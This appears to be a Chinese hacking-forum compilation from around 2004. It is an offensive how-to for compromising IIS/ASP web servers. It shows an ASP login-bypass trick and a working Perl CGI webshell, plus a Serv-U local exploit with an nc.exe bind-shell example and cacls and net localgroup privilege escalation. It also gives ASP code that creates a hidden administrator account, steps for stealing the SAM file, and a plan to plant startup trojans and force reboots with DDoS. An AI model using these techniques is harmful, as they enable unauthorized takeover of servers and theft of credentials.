后来这个漏洞就被牛人挖掘出来了,也就是传说中的%5c暴库:由于连接数据库的文件引用的相对路径,提交%5c找不到文件,所以导致出错,iis就会老老实实的说出数据库的路径(不明白?找google)。
一个偶然的机会我发现还可以利用%5c绕过asp的验证;当我们暴库失败的时候不妨试试。
废话少说,看下面的代码:
<!--#INCLUDE file="conn.asp" -->
<%
guest_user=trim(request("guest_user"))
guest_password=trim(request("guest_password"))
Set rs= Server.CreateObject("ADODB.Recordset")
sql="select * from admin where id=1"
rs.open sql,conn,3,2
readuser=rs("guest_user")
readpassword=rs("guest_password")
if readuser<>guest_user or readpassword<>guest_password then
response.write "请输入正确地管理员密码!"
response.end
else
session("admin")=1 /'登陆后写入seesion中保存
response.write("登陆成功,请返回信息页")
end if
%>
看到没有,要想通过验证必须让数据库里的用户名密码与提交的一致;想到什么?让我们再看看数据库连接文件代码:
<%
on error resume next
set conn=server.createobject("adodb.connection")
DBPath = Server.MapPath("guestbook.asp")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
%>
啊,有容错语句不能暴库!等等,如果提交%5c数据库找不到,由于容错,所以程序会继续执行,那么说来从数据库得到的用户名密码皆为空(想想有时暴库失败是不是看到空空的框架,因为数据都是空嘛),哈哈,这样我们就绕过验证了!
知道怎么做了吧,把登陆页面保存到本地,修改提交的url,把最后一个/改成%5c,用户名密码用空格(有的程序会检查用户名密码是否为空,空格会被程序过滤),提交,就ok了。
诶,各位不要以为我自己没事写段代码来捣鼓,实际上这个是我们学校一个高手做的留言板程序,就挂在学校的主页,呵呵。
既然弄懂了原理,当然要找实际漏洞啦,自然是拿大名鼎鼎的“洞”网论坛开刀。不过失败了,因为它的数据库连接文件里有这么一段:
|
If Err Then err.Clear Set Conn = Nothing Response.Write "数据库连接出错,请检查连接字串。" Response.End End If 数据库找不到程序就结束了,呵呵,空欢喜一场。 接着又去down了bbsxp论坛,打开数据库连接文件,晕,根本没有容错语句;呵呵,不过可以暴库哦。 我又不是BT,所以不去找事了,写篇文章,算是给各位高手提供资料吧。 总结一下这个攻击方法成功的条件:1、数据库连接用的相对路径且仅有简单的容错语句;2、服务器iis版本为4或5;3、程序里不检查空字符或者检查时不过滤空格而比较时过滤空格;4、程序不能在一级目录 至于防范,呵呵,既然攻击条件知道了,防范措施自然也出来了^_^ | |||||
| -- 作者:vjoy -- 发布时间:2004-12-25 19:57:36 -- 添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞] 作者:蓝屏,凯文 文章来源:冰点极限 其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加Administrators组的用户了(虽然我不敢相信我的眼睛). 上次凯文不发话,我不敢发布啊....现在在他的blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯``` 反正代码是对的,但是很少能成功,具体的看运气了。。呵呵,下一步我想把他整合到海洋里面去。嘿嘿。
2.C://WINNT//system32//config进这里下它的
SAM,破解用户的密码
用到破解sam密码的软件有 LC, SAMinside 3.C://Documents and Settings//All Users//「开始」菜单//程序看这里能跳转不,我们从这里可以获取好多有用的信息 可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转 进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空 [USER=WekweN|1] Password= HomeDir=c:TimeOut=600 Maintenance=System Access1=C://|RWAMELCDP Access1=d://|RWAMELCDP Access1=f://|RWAMELCDP SKEYValues= 这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限 4.c://winnt//system32//inetsrv//data就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行 5.看能否跳转到如下目录 c://php, 用phpspy c://prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell #!/usr/bin/perl binmode(STDOUT); syswrite(STDOUT, "Content-type: text/html//r//n//r//n", 27); $_ = $ENV{QUERY_STRING}; s/%20/ /ig; s/%2f/////ig; $execthis = $_; syswrite(STDOUT, "<HTML><PRE>//r//n", 13); open(STDERR, ">&STDOUT") || die "Can/'t redirect STDERR"; system($execthis); syswrite(STDOUT, "//r//n</PRE></HTML>//r//n", 17); close(STDERR); close(STDOUT); exit; 保存为cgi执行, 如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir 显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录 http://anyhost//cmd.pl?c//perl//bin//su.exe | |||||
Serv-u >3.x Local Exploit by xiaolu
USAGE: serv-u.exe "command"
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
现在是 IUSR 权限,提交:
http://anyhost//cmd.pl?c//perl//bin//su.exe "cacls.exe c: /E /T /G everyone:F"
http://anyhost//cmd.pl?c//perl//bin//su.exe "cacls.exe d: /E /T /G everyone:F"
http://anyhost//cmd.pl?c//perl//bin//su.exe "cacls.exe e: /E /T /G everyone:F"
如果返回下面的信息,就表示成功了
Serv-u >3.x Local Exploit by xiaolu
<220 Serv-U FTP Server v5.2 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<230 User logged in, proceed.
******************************************************
>SITE MAINTENANCE
******************************************************
[+] Creating New Domain...
<200-DomainID=2
<220 Domain settings saved
******************************************************
[+] Domain xl:2 created
[+] Creating Evil User
<200-User=xl
200 User settings saved
******************************************************
[+] Now Exploiting...
>USER xl
<331 User name okay, need password.
******************************************************
>PASS 111111
<230 User logged in, proceed.
******************************************************
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
<220 Domain deleted
这样所有分区为everyone完全控制
现在我们把自己的用户提升为管理员:
http://anyhost//cmd.pl?c//perl//bin//su.exe " net localgroup administrators IUSR_anyhost /add"
6.可以成功运行"cscript C://Inetpub//AdminScripts//adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
用这个cscript C://Inetpub//AdminScripts//adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c://winnt//system32//inetsrv//asp.dll (不同的机子放的位置不一定一样)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C://WINNT//system32//idq.dll" "C://WINNT//system32//inetsrv//httpext.dll" "C://WINNT//system32//inetsrv//httpodbc.dll" "C://WINNT//system32//inetsrv//ssinc.dll" "C://WINNT//system32//msw3prt.dll""c://winnt//system32//inetsrv//asp.dll"
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了
7.还可以用这段代码试提升,好象效果不明显
<%@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user","WekweN$")
od.SetPassword "WekweN" <-----密码
od.SetInfo
Set of=GetObject(oz&"/WekweN$,user")
oe.Add(of.ADsPath)
Response.write "WekweN$ 超级帐号建立成功!"%>
用这段代码检查是否提升成功
<%@codepage=936%>
<%Response.Expires=0
on error resume next /'查找Administrators组帐号
Set tN=server.createObject("Wscript.Network")
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
For Each admin in objGroup.Members
Response.write admin.Name&"<br>"
Next
if err then
Response.write "不行啊:Wscript.Network"
end if
%>
8.C://Program Files//Java Web Start这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。
9.最后了,如果主机设置很变态,可以试下在c://Documents and Settings//All Users//「开始」菜单//程序//启动"写入bat,vbs等木马。
等到主机重启或者你ddos逼它重启,来达到权限提升的目的。
总结起来说就是,找到有执行和写入的目录,管他什么目录,然后上传提升工具,最后执行,三个字"找" "上""执"
以上是本人的拙见,大家有什么好的方法多多分享
WekweN
04.12.12
6056



被折叠的 条评论
为什么被折叠?



